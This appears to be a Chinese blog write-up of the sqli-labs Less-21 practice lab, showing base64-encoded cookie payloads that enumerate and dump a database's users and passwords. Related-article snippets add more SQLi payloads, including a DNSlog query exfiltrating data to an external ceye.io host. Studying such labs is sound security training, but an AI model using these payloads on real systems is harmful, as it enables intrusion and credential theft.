Sqlilabs Less-21

最新推荐文章于 2024-10-27 16:53:42 发布
最新推荐文章于 2024-10-27 16:53:42 发布
阅读量277 收藏
点赞数
分类专栏： Sqlilabs靶场学习记录 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Light_inthe_eyes/article/details/123362073
版权

登录成功后，burpsuite抓包，发现cookie是加了密：
在这里插入图片描述在burpsuite上解密是admin：
![在这里插入图片描述](https://img-blog.csdnimg.cn/062a6186683941ccb8e6de32116b1922.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZG9mZA==,size_20,color_FFFFFF,t_70,g_se,x_16
那么接下来的操作的payload都应该经过base64加密后再注入

判断是单引号单括号注入类型：

Cookie: uname=YWEnKSM=

爆库：

Cookie: uname=JyApIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

在这里插入图片描述爆表：

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

在这里插入图片描述爆列：

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIw==

在这里插入图片描述爆数据：

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMj

在这里插入图片描述

dofd
关注
专栏目录
网络安全-sqlmap实战之sqlilabs-Less8_sqli-labs-master less-8 select from users where
2401_84254087的博客
05-02 47
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。添加–dbms参数,–technique参数。使用-o参数优化,–batch参数进行跳过。
sqli-labs ----less-26---37--练习
代码审计
03-07 996
sqli-labs————Less-26（绕空格、/*、#等） 该关卡提示空格和注释被转义，我们测试一下： http://www.sqli.com/Less-26/?id=1’报错 sqli-labs-master/Less-26/?id=1’ --+ 依旧报错， 我添加的注释不见了，应该是注释被转义成了空字符，我们换成;%00测试一下： http://www.sqli.com/Less-26/?id=1%20and%20sleep(4);%00 and应该被转义了 phpstorm
sqli-labs (less-21)
kukudeshuo的博客
03-11 329
sqli-labs (less-21) 进入21关，输入用户名与密码，发现跟20关基本一样，这里我们猜想也是在cookie的位置进入注入 利用Cookies Manager +抓取到cookie信息后，发现竟然是一串字母，这里就很懵了，但我们仔细查看特征后，发现只是利用了base64加密 转码后发现就是admin，所以这里的思路就是先构造我们的SQL语句，然后再随便找一个base64网站转码就行了 #以下过程均是base64转码后的结果 先输入一个 Jw== #'单引号 屏幕回显错误，根据错误信息
SQLi LABS Less-21
热门推荐
wangyuxiang946的博客
08-14 1万+
sqlibals21，SQLI-LABS第二十一关，sqlilabs二十一关
sqli-labs less21
qq_45106794的博客
10-26 315
#sqli-labs less 19 这一关大概与less18差不多，只不过playload得用base64加密 ') order by 4 ') union select 1,2,3 # ')union select 1,database(),version()# ')union select 1,(select group_concat(table_name) from information...
sqli-labs————less 21
Fly_鹏程万里
05-12 1600
Less-21做一个简单测试：username：adminpassword：aaa这里的界面和上一关的内容差不多，唯一的区别就是cookie使用了base64进行了加密，这里我们贴出该关的代码：<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtm...
sqli-labs/Less-21
m0_71299382的博客
11-19 284
sqli-labs第二十一关
Sqli-labs靶场第21、22关详解[Sqli-labs-less-21、22]自动化注入-SQLmap工具注入|sqlmap跑base64加密
m0_73615178的博客
03-03 1131
由于21/22雷同，都是需要登录后，注入点通过Cookie值进行测试，值base64加密修改注入数据选项：--tamper=base64encode。
​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
m0_73615178的博客
02-24 1996
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1531
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
Sqli-Lab | Less 21-23
酉酉的博客
02-08 594
sqli靶场一直没来得及做,趁寒假把它做了,同时巩固下SQL注入 Less-21 Less-21 Cookie Injection- Error Based- complex - string cookie注入-基于错误-复杂-字符串 测试 登录进去 uname的值被加密,以=结尾,首先想到base64 不出意外是base64加密 burp抓包,然后改cookie中的uname再加密就...
sqli-labs-less-12 PODT传参+有回显信息（图文详解）
yzcn
11-02 501
Less-12 post传递参数 由于是post传参，我们先用burp-suite抓包，分析报文体，获取传参过程。 得到报文体之后使用hackbar插件中的post data进行注入实验 判断闭合方式： uname=’ or 1=1 #&passwd=&submit=Submit 登录失败 uname=") or 1=1 #&passwd=&submit=Submit 登录成功，在这里可以得知存在注入点，闭合方式为(“”) 使用order by判断字段列数： uname
Sqli-labs之Less-20和Less-21和Less-22
→_→
04-15 3128
Less-20 基于错误的cookie头部POST注入 首先从已知的条件中我们知道这又是一道“头部注入”，那么我们先输入正确的用户名和密码看一下登录成功是什么样子的： 回显有User-Agent、IP这样从当次Request直接获取的， 也有Cookie这样刷...
SQL注入之二次、加解密、DNS注入
m0_48907714的博客
04-02 4749
加解密、二次、DNSlog注入 加解密 实例 sqli-labs-master/Less-21/ 登录抓包 抓包结果 将uname的内容一看就是加密内容，我们进行解密，我们看解密结果 我们将%3D是ascii码的‘=’号，我们将其修改回来 这时我们需要进行cookie注入时就需要进行加密注入 uname=YWRtaW4ZIGFuZCAnMScgPScyJyAtLSs= 注入报错了，存在注入 sqlmap也存在base64的插件 sqlmap.py -u “http://127.0.0.1/sql
第17天-WEB 漏洞-二次,加解密,DNS 等注入
MCTSOG的博客
03-01 887
#加解密，二次，DNSlog 注入 注入原理，演示案例，实际应用（中转注入） DNSlog:解决了盲注不能回显数据，效率低的问题 http://127.0.0.1:8080/sqlilabs/less-2/?id=-1 and if((select load_file(concat(’\\’,(select version()),’.1t7i2f.ceye.io\abc’))),1,0)–+ D:\Python27\python.exe dnslogSql.py -u “http://127.0.0.1:8
安全知识见闻-脚本语言对与安全的重要性
2201_75446043的博客
10-27 1115
批处理文件是以.bat扩展名结尾的文本文件，其中包含一系列命令，通常用于自动化任务。在Windows操作系统中，批处理文件可以通过命令提示符（CMD）运行。PowerShell是微软推出的一种任务自动化和配置管理框架，结合了命令行界面和脚本语言的特性。它的命令称为“cmdlet”，支持对象导向，能够处理复杂的数据结构。编写宏病毒、脚本病毒、BIOS病毒或进行内网渗透都需要特定的技术知识和编程技能，类似的脚本病毒还有很多，无法一一列举。
等保测评的主要内容
waitaikong_的博客
10-25 454
等保测评的目的是确保信息系统的安全运行，提高安全性能，防范网络攻击和安全威胁，保护国家重要信息基础设施的安全。通过等保测评，可以为信息系统的安全建设提供科学依据，指导相关部门和企业进行有效的安全措施和防护措施.
API接口开放与安全管控 - 原理与实践
whisperzzza的博客
10-27 1277
API安全是接口开放的前提条件 在API对外开放时，确保其安全性至关重要，因为API直接暴露给外部环境，容易成为攻击目标。一旦被恶意利用，可能导致数据泄露、服务滥用等严重后果。因此，通过API网关实施严格的接口安全管理措施，如身份验证、访问控制和流量限制，成为保护后端服务免受威胁的第一道防线。这不仅有助于维护系统的稳定性和可靠性，还能增强用户对平台的信任度。
【万户软件-注册安全分析报告-无验证方式导致安全隐患】
最新发布
10-27 714
北京万户软件技术有限公司（简称“万户软件”）是北京华宇软件股份有限公司（股票简称：“华宇软件”，股票代码：300271）的全资⼦公司，创始于1998年，总部位于北京经开区信创园，二十余年专注数字办公协同业务。公司围绕智慧政务、企业数字化转型、信创改造等业务领域，为各级政府部⻔、⼤型集团企业及相关⾏业单位提供从规划咨询、应⽤软件、实施交付到持续运营维护的全⽅位服务。
sqli-labs-less-7
09-26
在这个例子中，查询的结果将被导出到文件"E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt"中。 通过这些步骤，我们可以成功执行SQL注入攻击，并将查询结果保存到指定的文件中。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值